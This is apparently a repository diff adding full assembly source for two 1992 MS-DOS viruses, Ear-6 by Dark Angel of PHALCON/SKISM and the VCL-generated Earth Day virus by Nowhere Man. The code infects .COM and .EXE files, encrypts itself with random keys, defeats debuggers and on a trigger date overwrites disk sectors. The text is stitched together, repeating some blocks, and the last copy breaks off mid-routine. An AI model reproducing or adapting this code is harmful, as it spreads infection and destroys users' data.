oreja2 db '1','Lobe$'
oreja3 db '2','Anvil$'
oreja4 db '2','Eustachian Tube$'
oreja5 db '3','Auditory Nerve$'
oreja6 db '3','Cochlea$'
mensaje db 'PHALCON/SKISM 1992 [Ear-6] Alert!',13,10,'Where is the $'
secciones db ' located?',13,10
db ' 1. External Ear',13,10
db ' 2. Middle Ear',13,10
db ' 3. Inner Ear',13,10,'( )',8,8,'$'
; No es bueno.
suspendido db 13,10,'You obviously know nothing about ears.'
db 13,10,'Try again after some study.',13,10,'$'
; ­Espero que s¡!
aprueba db 13,10,'Wow, you know your ears! Please resume work.',13,10
db '$'
escribir:
mov ah, 40h
mov cx, TerminaVir - EmpezarVir
lea dx, [bp+EmpezarVir]
int 21h
termina_escribir:
backslash db '\'
TerminaVir = $
; Los que sigue son en el mont¢n...
longitud_de_la_cifra = offset EmpezarCifra - offset shwing
diroriginal db 64 dup (?)
tempo dw ?
nuevoDTA db 43 dup (?)
numinf db ?
antes_del_tempstore:
; tempstore es el buffer para el parte del programa que a¤ada el virus al fin
; de otro programa
tempstore db (longitud_de_la_cifra*2+longitud_del_escribir+5) dup (?)
; a¤ada cinco para los pop,
; los push, y el retn
buffer db 1ah dup (?)
f_atrib db ? ; atributo de la ficha
f_hora dw ? ; hora de creaci¢n
f_fecha dw ? ; fecha de creaci¢n
f_long dd ? ; magnitud de la ficha
end Empezar
+475
View File
@@ -0,0 +1,475 @@
; [Ear-6]
; El virus de oreja y o¡do seis
; Fue escrito por Dark Angel de PHALCON/SKISM
; Yo (el  ngel oscuro) escrib¡ este programa hace muchas semanas.
; No deba modificar este programa y da a otras personas COMO SI
; estar  el suyo.
; ¨D¢nde est  mi llama, mama?
; diccionarito
; espa¤ol ingls magnitud size
; abre open mango handle
; aprueba pass (a test) m scara mask
; atras back mensaje message
; azado random mes month
; busca find mont¢n heap
; cierra close oreja, o¡do ear
; cifra code, encrypt, decrypt pila stack
; codo pointer pregunta question
; corto terse, short primer first
; empieza begin remendar patch
; escriba write renuncia reject
; espa¤ol ingls respuesta answer
; fecha date salta exit
; ficha file siguiente following, next
; ¡ndice table suspende fail (a test)
; ¨le gusta? do you like? termina end
; longitud length virus virus (!)
.model tiny
.code
org 100h
longitud_del_virus = TerminaVir - EmpezarVir
longitud_del_escribir = offset termina_escribir - offset escribir
id = 'GH' ; Representa el l¡der de
; PHALCON/SKISM, Garbageheap
Empezar: db 0e9h, 0, 0 ; jmp EmpezarVir
EmpezarVir:
shwing:
remendar1:
mov bx, offset EmpezarCifra
remendar2:
mov cx, ((longitud_del_virus + 1) / 2)
hacia_atras: ; atr s
db 2eh
remendar3:
db 81h, 37h, 0, 0 ; xor word ptr cs:[bx], 0
add bx, 2
loop hacia_atras
EmpezarCifra:
call siguiente ; Es estupido, pero es corto
siguiente:
pop bp
sub bp, offset siguiente
mov byte ptr [bp+numinf], 0
cld ; No es necessario, pero
; ¨por qu no?
cmp sp, id
jz SoyEXE
SoyCOM: mov di, 100h
push di
lea si, [bp+Primer3]
movsb
jmp short SoyNada
SoyEXE: push ds
push es
push cs
push cs
pop ds
pop es
lea di, [bp+EXE_Donde_JMP] ; el CS:IP original de la ficha
lea si, [bp+EXE_Donde_JMP2] ; infectada
movsw
movsw
movsw
jmp short SoyNada
NombreDelVirus db 0,'[Ear-6]',0 ; En ingls, ­por supuesto!
NombreDelAutor db 'Dark Angel',0
SoyNada:
movsw
mov ah, 1ah ; Esindicece un DTA nuevo
lea dx, [bp+offset nuevoDTA] ; porque no quiere destruir
int 21h ; el DTA original
mov ax, word ptr [bp+remendar1+1]
mov word ptr [bp+tempo], ax
mov ah, 47h ; Obtiene el directorio
xor dl, dl ; presente
lea si, [bp+diroriginal]
int 21h
looper:
lea dx, [bp+offset mascara1] ; "m scara", no "mascara"
call infectar_mascara ; pero no es possible usar
; acentos en MASM/TASM.
; ­Qu l stima!
; mascara1 es '*.EXE',0
lea dx, [bp+offset mascara2] ; mascara2 es '*.COM',0
call infectar_mascara ; infecta las fichas de COM
cmp byte ptr [bp+numinf], 5 ; ¨Ha infectada cinco fichas?
jg saltar ; Si es verdad, no necesita
; busca m s fichas.
mov ah, 3bh ; Cambia el directorio al
lea dx, [bp+puntos] ; directorio anterior
int 21h ; ('..', 'punto punto')
jnc looper
saltar: lea dx, [bp+backslash] ; Cambia el directorio al
mov ah, 3bh ; directorio terminado.
int 21h
mov ah, 2ah ; Activa el primer de
int 21h ; cada mes
cmp dl, 1 ; Si no es el primer,
jnz saltarahora ; ­saltar ahora! (duh-o)
mov ah, 2ch ; ¨Qu hora es?
int 21h
cmp dl, 85 ; 85% probabilidad de
jg saltarahora ; activaci¢n
and dx, 7 ; Un n£mero quasi-azado
shl dl, 1 ; Usalo para determinar
mov bx, bp ; que preguntar  la virus
add bx, dx
mov dx, word ptr [bx+indice] ; ¡ndice para el examencito
add dx, bp
inc dx
push dx ; Salva el codo al pregunta
mov ah, 9 ; Escriba el primer parte de
lea dx, [bp+mensaje] ; la pregunta
int 21h
pop dx ; Escriba el parte de la oreja
int 21h ; o el o¡do
dec dx
push dx ; Salva la respuesta correcta
lea dx, [bp+secciones] ; Escriba los secciones de la
int 21h ; oreja y el o¡do
trataotrarespuesta:
mov ah, 7 ; Obtiene la respuesta de la
int 21h ; "v¡ctima"
cmp al, '1' ; Necesita una respuesta de
jl trataotrarespuesta ; uno hasta tres
cmp al, '3' ; Renuncia otras respuestas
jg trataotrarespuesta
int 29h ; Escriba la respuesta
pop bx ; El codo al respuesta
; correcta
mov ah, 9 ; Prepara a escribir un
; mensaje
cmp al, byte ptr [bx] ; ¨Es correcta?
jz saltarapidamente ; l aprueba el examencito.
; Pues, salta r pidamente.
lea dx, [bp+suspendido] ; Lo siento, pero ­Ud. no
int 21h ; aprueba el examencito f cil!
mov ah, 4ch ; Estudie m s y el programa
jmp quite ; permitir  a Ud a continuar.
saltarapidamente:
lea dx, [bp+aprueba]
int 21h
saltarahora:
mov ah, 1ah ; Restaura el DTA original
mov dx, 80h
quite:
cmp sp, id - 4 ; ¨Es EXE o COM?
jz vuelvaEXE
vuelvaCOM:
int 21h ; Restaura el DTA y vuelva
retn ; a la ficha original de COM
vuelvaEXE:
pop es
pop ds ; ds -> PSP
int 21h
mov ax, es
add ax, 10h ; Ajusta para el PSP
add word ptr cs:[bp+EXE_Donde_JMP+2], ax
cli
add ax, word ptr cs:[bp+PilaOriginal+2]
mov ss, ax
mov sp, word ptr cs:[bp+PilaOriginal]
sti
db 0eah ; JMP FAR PTR SEG:OFF
EXE_Donde_JMP dd 0
PilaOriginal dd 0
EXE_Donde_JMP2 dd 0
PilaOriginal2 dd 0
infectar_mascara:
mov ah, 4eh ; Busca la ficha primera
mov cx, 7 ; Cada atributo
brb_brb:
int 21h
jc hasta_la_vista_bebe ; No la busca
xor al, al
call abrir ; Abre la ficha
mov ah, 3fh
mov cx, 1ah
lea dx, [bp+buffer]
int 21h
mov ah, 3eh ; Cierra la ficha
int 21h
lea si,[bp+nuevoDTA+15h] ; Salva cosas sobre la ficha
lea di,[bp+f_atrib] ; Por ejemplo, la fecha de
mov cx, 9 ; creaci¢n
rep movsb
cmp word ptr [bp+buffer], 'ZM' ; ¨Es EXE o COM?
jz buscaEXE
buscaCOM:
mov ax, word ptr [bp+f_long] ; ¨Cuan grande es la ficha?
sub ax, longitud_del_virus + 3 ; Adjusta para el JMP
cmp ax, word ptr [bp+buffer+1] ; ¨Ya es infectada?
jnz infecta_mi_burro ; "infect my ass"
jmp short BuscaMas
buscaEXE:
cmp word ptr [bp+buffer+10h], id
jnz infecta_mi_burro
BuscaMas:
mov ah, 4fh ; Busca otra ficha...
jmp short brb_brb
hasta_la_vista_bebe: ; ¨Le gusta Arnold?
ret
infecta_mi_burro:
; AX = longitud de la ficha infectada
lea si, [bp+buffer]
cmp word ptr [si], 'ZM'
jz InfectaEXE
InfectaCOM:
push ax
mov cx, word ptr [bp+tempo]
mov word ptr [bp+remendar1+1], cx
lea di, [bp+Primer3]
movsb
push si
movsw
mov byte ptr [bp+buffer], 0e9h
pop di
add ax, longitud_del_virus
stosw
mov cx, 3
jmp short TerminaInfeccion
InfectaEXE:
les ax, [si+14h] ; Salva el original empieza
mov word ptr [bp+EXE_Donde_JMP2], ax; CS:IP de la ficha infectada
mov word ptr [bp+EXE_Donde_JMP2+2], es
les ax, [si+0Eh] ; Salva la original locaci¢n
mov word ptr [bp+PilaOriginal2], es ; de la pila
mov word ptr [bp+PilaOriginal2+2], ax
mov ax, word ptr [si + 8]
mov cl, 4
shl ax, cl
xchg ax, bx
les ax, [bp+offset nuevoDTA+26]
mov dx, es
push ax
push dx
sub ax, bx
sbb dx, 0
mov cx, 10h
div cx
mov word ptr [si+14h], dx ; Nuevo empieza CS:IP
mov word ptr [si+16h], ax
mov cl, 4
shr dx, cl
add ax, dx
mov word ptr [si+0Eh], ax ; y SS:SP
mov word ptr [si+10h], id
pop dx ; Restaura el magnitud de
pop ax ; la ficha
add ax, longitud_del_virus ; A¤ada el magnitud del virus
adc dx, 0
mov cl, 9
push ax
shr ax, cl
ror dx, cl
stc
adc dx, ax
pop ax
and ah, 1
mov word ptr [si+4], dx ; Nuevo magnitud de la ficha
mov word ptr [si+2], ax
push cs
pop es
mov ax, word ptr [si+14h]
sub ax, longitud_del_virus + offset Empezarvir
push ax
mov cx, 1ah
TerminaInfeccion:
mov al, 2
call abrir
mov ah, 40h
lea dx, [bp+buffer]
int 21h
mov ax, 4202h
xor cx, cx
cwd ; xor dx,dx
int 21h
mov ah, 2ch ; N£meros azados en CX y DX
int 21h
mov word ptr [bp+remendar3+2], cx ; Es el nuevo n£mero de la
; cifra
and cx, 31 ; Pone un n£mero azado para el
add cx, ((longitud_del_virus + 1) / 2); magnitud de la ficha. Por
; eso, los scanners necesitan
mov word ptr [bp+remendar2+1], cx ; usar "wildcards"
lea di, [bp+longitud_del_escribir]
mov al, 53h ; push bx
stosb ; (no destruir el mango de la
; ficha)
lea si, [bp+shwing] ; Copia las instrucciones
push si ; para formar la cifra
mov cx, longitud_de_la_cifra
push cx
rep movsb
mov al, 5bh ; pop bx
stosb ; (recuerda mango de la ficha)
lea si, [bp+escribir] ; Copia las instrucciones
mov cx, longitud_del_escribir ; para a¤ada el virus a la
rep movsb ; ficha
mov al, 53h ; push bx
stosb
pop cx ; Copia las instrucciones
pop si ; para invalidar la cifra
rep movsb
mov ax, 0c35bh ; pop bx, retn
stosw
pop ax
; Codo del comienzo de la cifra
add ax, offset EmpezarCifra + longitud_del_virus
mov word ptr [bp+remendar1+1], ax
call antes_del_tempstore
mov ax, 5701h ; BX = mango de la ficha
mov dx, word ptr [bp+f_fecha]
mov cx, word ptr [bp+f_hora]
int 21h ; Restaura fecha y hora
mov ah, 3eh
int 21h
xor ch, ch
mov cl, byte ptr [bp+f_atrib]
mov ax, 4301h
lea dx, [bp+offset nuevoDTA + 30] ; Busca un ficha en el DTA
int 21h
inc byte ptr [bp+numinf]
jmp BuscaMas
Primer3 db 0CDh, 20h, 0
puntos db '..',0
mascara1 db '*.EXE',0
mascara2 db '*.COM',0
abrir: mov ah, 3dh ; Abrir un ficha
lea dx, [bp+nuevoDTA+30] ; Nombre de la ficha es en
int 21h ; el DTA
xchg ax, bx
ret
indice dw offset oreja1, offset oreja2, offset oreja3, offset oreja4
dw offset oreja5, offset oreja6, offset oreja4, offset oreja1
oreja1 db '1','Auditory Canal$'
oreja2 db '1','Lobe$'
oreja3 db '2','Anvil$'
oreja4 db '2','Eustachian Tube$'
oreja5 db '3','Auditory Nerve$'
oreja6 db '3','Cochlea$'
mensaje db 'PHALCON/SKISM 1992 [Ear-6] Alert!',13,10,'Where is the $'
secciones db ' located?',13,10
db ' 1. External Ear',13,10
db ' 2. Middle Ear',13,10
db ' 3. Inner Ear',13,10,'( )',8,8,'$'
; No es bueno.
suspendido db 13,10,'You obviously know nothing about ears.'
db 13,10,'Try again after some study.',13,10,'$'
; ­Espero que s¡!
aprueba db 13,10,'Wow, you know your ears! Please resume work.',13,10
db '$'
escribir:
mov ah, 40h
mov cx, TerminaVir - EmpezarVir
lea dx, [bp+EmpezarVir]
int 21h
termina_escribir:
backslash db '\'
TerminaVir = $
; Los que sigue son en el mont¢n...
longitud_de_la_cifra = offset EmpezarCifra - offset shwing
diroriginal db 64 dup (?)
tempo dw ?
nuevoDTA db 43 dup (?)
numinf db ?
antes_del_tempstore:
; tempstore es el buffer para el parte del programa que a¤ada el virus al fin
; de otro programa
; a¤ada cinco para los pop,
; los push, y el retn
buffer db 1ah dup (?)
f_atrib db ? ; atributo de la ficha
f_hora dw ? ; hora de creaci¢n
f_fecha dw ? ; fecha de creaci¢n
f_long dd ? ; magnitud de la ficha
end Empezar
@@ -0,0 +1,422 @@
; EARTHDAY.ASM -- Earth Day Virus
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by Nowhere Man
virus_type equ 0 ; Appending Virus
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
main proc near
db 0E9h,00h,00h ; Near jump (for compatibility)
start: call find_offset ; Like a PUSH IP
find_offset: pop bp ; BP holds old IP
sub bp,offset find_offset ; Adjust for length of host
call encrypt_decrypt ; Decrypt the virus
start_of_code label near
lea si,[bp + buffer] ; SI points to original start
mov di,0100h ; Push 0100h on to stack for
push di ; return to main program
movsw ; Copy the first two bytes
movsb ; Copy the third byte
mov di,bp ; DI points to start of virus
mov bp,sp ; BP points to stack
sub sp,128 ; Allocate 128 bytes on stack
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address on stack
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer on stack
int 021h
stop_tracing: mov cx,09EBh
mov ax,0FE05h ; Acutal move, plus a HaLT
jmp $-2
add ah,03Bh ; AH now equals 025h
jmp $-10 ; Execute the HaLT
lea bx,[di + null_vector] ; BX points to new routine
push cs ; Transfer CS into ES
pop es ; using a PUSH/POP
int 021h
mov al,1 ; Disable interrupt 1, too
int 021h
jmp short skip_null ; Hop over the loop
null_vector: jmp $ ; An infinite loop
skip_null: mov byte ptr [di + lock_keys + 1],130 ; Prefetch unchanged
lock_keys: mov al,128 ; Change here screws DEBUG
out 021h,al ; If tracing then lock keyboard
call get_month
cmp ax,0004h ; Did the function return 4?
jne skip00 ; If not equal, skip effect
call get_day
cmp ax,0016h ; Did the function return 22?
jne skip00 ; If not equal, skip effect
call get_year
cmp ax,07C9h ; Did the function return 1993?
jle skip00 ; If less that or equal, skip effect
cmp ax,07CCh ; Did the function return 1996?
jge skip00 ; If greater than or equal, skip effect
jmp short strt00 ; Success -- skip jump
skip00: jmp end00 ; Skip the routine
strt00: lea si,[di + data00] ; SI points to data
mov ah,0Eh ; BIOS display char. function
display_loop: lodsb ; Load the next char. into AL
or al,al ; Is the character a null?
je disp_strnend ; If it is, exit
int 010h ; BIOS video interrupt
jmp short display_loop ; Do the next character
disp_strnend:
mov ax,0002h ; First argument is 2
mov cx,0100h ; Second argument is 256
cli ; Disable interrupts (no Ctrl-C)
cwd ; Clear DX (start with sector 0)
int 026h ; DOS absolute write interrupt
sti ; Restore interrupts
end00: xor ah,ah ; BIOS get time function
int 01Ah
xchg dx,ax ; AX holds clock ticks
mov cx,0005h ; We'll divide by 5
cwd ; Sign-extend AX into DX:AX
div cx ; Divide AX by CX
or dx,dx ; Is there a remaindier?
jne no_infection ; If there is then don't spread
call search_files ; Find and infect a file
no_infection:
com_end: pop dx ; DX holds original DTA address
mov ah,01Ah ; DOS set DTA function
int 021h
mov sp,bp ; Deallocate local buffer
xor ax,ax ;
mov bx,ax ;
mov cx,ax ;
mov dx,ax ; Empty out the registers
mov si,ax ;
mov di,ax ;
mov bp,ax ;
ret ; Return to original program
main endp
db 009h,0C0h,0EEh,0D9h,0ECh
search_files proc near
push bp ; Save BP
mov bp,sp ; BP points to local buffer
sub sp,64 ; Allocate 64 bytes on stack
mov ah,047h ; DOS get current dir function
xor dl,dl ; DL holds drive # (current)
lea si,[bp - 64] ; SI points to 64-byte buffer
int 021h
mov ah,03Bh ; DOS change directory function
lea dx,[di + root] ; DX points to root directory
int 021h
call traverse ; Start the traversal
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 64] ; DX points to old directory
int 021h
mov sp,bp ; Restore old stack pointer
pop bp ; Restore BP
ret ; Return to caller
root db "\",0 ; Root directory
search_files endp
traverse proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first function
mov cx,00010000b ; CX holds search attributes
lea dx,[di + all_files] ; DX points to "*.*"
int 021h
jc leave_traverse ; Leave if no files present
check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
jne another_dir ; If not, try again
cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
je another_dir ;If so, keep going
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 98] ; DX points to new directory
int 021h
call traverse ; Recursively call ourself
pushf ; Save the flags
mov ah,03Bh ; DOS change directory function
lea dx,[di + up_dir] ; DX points to parent directory
int 021h
popf ; Restore the flags
jnc done_searching ; If we infected then exit
another_dir: mov ah,04Fh ; DOS find next function
int 021h
jnc check_dir ; If found check the file
leave_traverse:
lea dx,[di + com_mask] ; DX points to "*.COM"
call find_files ; Try to infect a file
done_searching: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
up_dir db "..",0 ; Parent directory name
all_files db "*.*",0 ; Directories to search for
com_mask db "*.COM",0 ; Mask for all .COM files
traverse endp
db 0E0h,049h,06Ch,01Bh,06Ch
find_files proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
push dx ; Save file mask
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; CX holds all file attributes
pop dx ; Restore file mask
find_a_file: int 021h
jc done_finding ; Exit if no files found
call infect_file ; Infect the file!
jnc done_finding ; Exit if no error
mov ah,04Fh ; DOS find next file function
jmp short find_a_file ; Try finding another file
done_finding: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
find_files endp
db 00Ah,073h,01Fh,038h,054h
infect_file proc near
mov ah,02Fh ; DOS get DTA address function
int 021h
mov si,bx ; SI points to the DTA
mov byte ptr [di + set_carry],0 ; Assume we'll fail
cmp word ptr [si + 01Ah],(65279 - (finish - start))
jbe size_ok ; If it's small enough continue
jmp infection_done ; Otherwise exit
size_ok: mov ax,03D00h ; DOS open file function, r/o
lea dx,[si + 01Eh] ; DX points to file name
int 021h
xchg bx,ax ; BX holds file handle
mov ah,03Fh ; DOS read from file function
mov cx,3 ; CX holds bytes to read (3)
lea dx,[di + buffer] ; DX points to buffer
int 021h
mov ax,04202h ; DOS file seek function, EOF
cwd ; Zero DX _ Zero bytes from end
mov cx,dx ; Zero CX /
int 021h
xchg dx,ax ; Faster than a PUSH AX
mov ah,03Eh ; DOS close file function
int 021h
xchg dx,ax ; Faster than a POP AX
sub ax,finish - start + 3 ; Adjust AX for a valid jump
cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet?
je infection_done ; If equal then exit
mov byte ptr [di + set_carry],1 ; Success -- the file is OK
add ax,finish - start ; Re-adjust to make the jump
mov word ptr [di + new_jump + 1],ax ; Construct jump
mov ax,04301h ; DOS set file attrib. function
xor cx,cx ; Clear all attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
mov ax,03D02h ; DOS open file function, r/w
int 021h
xchg bx,ax ; BX holds file handle
mov ah,040h ; DOS write to file function
mov cx,3 ; CX holds bytes to write (3)
lea dx,[di + new_jump] ; DX points to the jump we made
int 021h
mov ax,04202h ; DOS file seek function, EOF
cwd ; Zero DX _ Zero bytes from end
mov cx,dx ; Zero CX /
int 021h
push si ; Save SI through call
call encrypt_code ; Write an encrypted copy
pop si ; Restore SI
mov ax,05701h ; DOS set file time function
mov cx,[si + 016h] ; CX holds old file time
mov dx,[si + 018h] ; DX holds old file date
int 021h
mov ah,03Eh ; DOS close file function
int 021h
mov ax,04301h ; DOS set file attrib. function
xor ch,ch ; Clear CH for file attribute
mov cl,[si + 015h] ; CX holds file's old attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed
ret ; Return to caller
set_carry db ? ; Set-carry-on-exit flag
buffer db 090h,0CDh,020h ; Buffer to hold old three bytes
new_jump db 0E9h,?,? ; New jump to virus
infect_file endp
db 0D9h,095h,0B5h,0D7h,0D0h
get_day proc near
mov ah,02Ah ; DOS get date function
int 021h
mov al,dl ; Copy day into AL
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_day endp
db 0F6h,028h,099h,0E1h,06Dh
get_month proc near
mov ah,02Ah ; DOS get date function
int 021h
mov al,dh ; Copy month into AL
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_month endp
db 071h,021h,0B4h,033h,071h
get_year proc near
mov ah,02Ah ; DOS get date function
int 021h
xchg cx,ax ; Transfer the year into AX
ret ; Return to caller
get_year endp
data00 db "Happy Earth Day!!!",13,10,13,10
db "In the spirit of Earth Day, this VIRUS has recycled your hard disk.",13,10,0
vcl_marker db "[VCL]",0 ; VCL creation marker
note db "[Earth Day]",0
db "Nowhere Man, [NuKE] '92",0
encrypt_code proc near
push bp ; Save BP
mov bp,di ; Use BP as pointer to code
lea si,[bp + encrypt_decrypt]; SI points to cipher routine
xor ah,ah ; BIOS get time function
int 01Ah
mov word ptr [si + 9],dx ; Low word of timer is new key
xor byte ptr [si + 1],8 ;
xor byte ptr [si + 8],1 ; Change all SIs to DIs
xor word ptr [si + 11],0101h; (and vice-versa)
lea di,[bp + finish] ; Copy routine into heap
mov cx,finish - encrypt_decrypt - 1 ; All but final RET
push si ; Save SI for later
push cx ; Save CX for later
rep movsb ; Copy the bytes
lea si,[bp + write_stuff] ; SI points to write stuff
mov cx,5 ; CX holds length of write
rep movsb ; Copy the bytes
pop cx ; Restore CX
pop si ; Restore SI
inc cx ; Copy the RET also this time
rep movsb ; Copy the routine again
mov ah,040h ; DOS write to file function
lea dx,[bp + start] ; DX points to virus
lea si,[bp + finish] ; SI points to routine
call si ; Encrypt/write/decrypt
mov di,bp ; DI points to virus again
pop bp ; Restore BP
ret ; Return to caller
write_stuff: mov cx,finish - start ; Length of code
int 021h
encrypt_code endp
end_of_code label near
encrypt_decrypt proc near
lea si,[bp + start_of_code] ; SI points to code to decrypt
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
xor_loop: db 081h,034h,00h,00h ; XOR a word by the key
inc si ; Do the next word
inc si ;
loop xor_loop ; Loop until we're through
ret ; Return to caller
encrypt_decrypt endp
finish label near
code ends
end main
@@ -0,0 +1,330 @@
; EARTHDAY.ASM -- Earth Day Virus
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by Nowhere Man
virus_type equ 0 ; Appending Virus
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
main proc near
db 0E9h,00h,00h ; Near jump (for compatibility)
start: call find_offset ; Like a PUSH IP
find_offset: pop bp ; BP holds old IP
sub bp,offset find_offset ; Adjust for length of host
call encrypt_decrypt ; Decrypt the virus
start_of_code label near
lea si,[bp + buffer] ; SI points to original start
mov di,0100h ; Push 0100h on to stack for
push di ; return to main program
movsw ; Copy the first two bytes
movsb ; Copy the third byte
mov di,bp ; DI points to start of virus
mov bp,sp ; BP points to stack
sub sp,128 ; Allocate 128 bytes on stack
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address on stack
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer on stack
int 021h
stop_tracing: mov cx,09EBh
mov ax,0FE05h ; Acutal move, plus a HaLT
jmp $-2
add ah,03Bh ; AH now equals 025h
jmp $-10 ; Execute the HaLT
lea bx,[di + null_vector] ; BX points to new routine
push cs ; Transfer CS into ES
pop es ; using a PUSH/POP
int 021h
mov al,1 ; Disable interrupt 1, too
int 021h
jmp short skip_null ; Hop over the loop
null_vector: jmp $ ; An infinite loop
skip_null: mov byte ptr [di + lock_keys + 1],130 ; Prefetch unchanged
lock_keys: mov al,128 ; Change here screws DEBUG
out 021h,al ; If tracing then lock keyboard
call get_month
cmp ax,0004h ; Did the function return 4?
jne skip00 ; If not equal, skip effect
call get_day
cmp ax,0016h ; Did the function return 22?
jne skip00 ; If not equal, skip effect
call get_year
cmp ax,07C9h ; Did the function return 1993?
jle skip00 ; If less that or equal, skip effect
cmp ax,07CCh ; Did the function return 1996?
jge skip00 ; If greater than or equal, skip effect
jmp short strt00 ; Success -- skip jump
skip00: jmp end00 ; Skip the routine
strt00: lea si,[di + data00] ; SI points to data
mov ah,0Eh ; BIOS display char. function
display_loop: lodsb ; Load the next char. into AL
or al,al ; Is the character a null?
je disp_strnend ; If it is, exit
int 010h ; BIOS video interrupt
jmp short display_loop ; Do the next character
disp_strnend:
mov ax,0002h ; First argument is 2
mov cx,0100h ; Second argument is 256
cli ; Disable interrupts (no Ctrl-C)
cwd ; Clear DX (start with sector 0)
int 026h ; DOS absolute write interrupt
sti ; Restore interrupts
end00: xor ah,ah ; BIOS get time function
int 01Ah
xchg dx,ax ; AX holds clock ticks
mov cx,0005h ; We'll divide by 5
cwd ; Sign-extend AX into DX:AX
div cx ; Divide AX by CX
or dx,dx ; Is there a remaindier?
jne no_infection ; If there is then don't spread
call search_files ; Find and infect a file
no_infection:
com_end: pop dx ; DX holds original DTA address
mov ah,01Ah ; DOS set DTA function
int 021h
mov sp,bp ; Deallocate local buffer
xor ax,ax ;
mov bx,ax ;
mov cx,ax ;
mov dx,ax ; Empty out the registers
mov si,ax ;
mov di,ax ;
mov bp,ax ;
ret ; Return to original program
main endp
db 009h,0C0h,0EEh,0D9h,0ECh
search_files proc near
push bp ; Save BP
mov bp,sp ; BP points to local buffer
sub sp,64 ; Allocate 64 bytes on stack
mov ah,047h ; DOS get current dir function
xor dl,dl ; DL holds drive # (current)
lea si,[bp - 64] ; SI points to 64-byte buffer
int 021h
mov ah,03Bh ; DOS change directory function
lea dx,[di + root] ; DX points to root directory
int 021h
call traverse ; Start the traversal
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 64] ; DX points to old directory
int 021h
mov sp,bp ; Restore old stack pointer
pop bp ; Restore BP
ret ; Return to caller
root db "\",0 ; Root directory
search_files endp
traverse proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first function
mov cx,00010000b ; CX holds search attributes
lea dx,[di + all_files] ; DX points to "*.*"
int 021h
jc leave_traverse ; Leave if no files present
check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
jne another_dir ; If not, try again
cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
je another_dir ;If so, keep going
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 98] ; DX points to new directory
int 021h
call traverse ; Recursively call ourself
pushf ; Save the flags
mov ah,03Bh ; DOS change directory function
lea dx,[di + up_dir] ; DX points to parent directory
int 021h
popf ; Restore the flags
jnc done_searching ; If we infected then exit
another_dir: mov ah,04Fh ; DOS find next function
int 021h
jnc check_dir ; If found check the file
leave_traverse:
lea dx,[di + com_mask] ; DX points to "*.COM"
call find_files ; Try to infect a file
done_searching: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
up_dir db "..",0 ; Parent directory name
all_files db "*.*",0 ; Directories to search for
com_mask db "*.COM",0 ; Mask for all .COM files
traverse endp
db 0E0h,049h,06Ch,01Bh,06Ch
find_files proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
push dx ; Save file mask
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; CX holds all file attributes
pop dx ; Restore file mask
find_a_file: int 021h
jc done_finding ; Exit if no files found
call infect_file ; Infect the file!
jnc done_finding ; Exit if no error
mov ah,04Fh ; DOS find next file function
jmp short find_a_file ; Try finding another file
done_finding: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
find_files endp
db 00Ah,073h,01Fh,038h,054h
infect_file proc near
mov ah,02Fh ; DOS get DTA address function
int 021h
mov si,bx ; SI points to the DTA
mov byte ptr [di + set_carry],0 ; Assume we'll fail
cmp word ptr [si + 01Ah],(65279 - (finish - start))
jbe size_ok ; If it's small enough continue
jmp infection_done ; Otherwise exit
size_ok: mov ax,03D00h ; DOS open file function, r/o
lea dx,[si + 01Eh] ; DX points to file name
int 021h
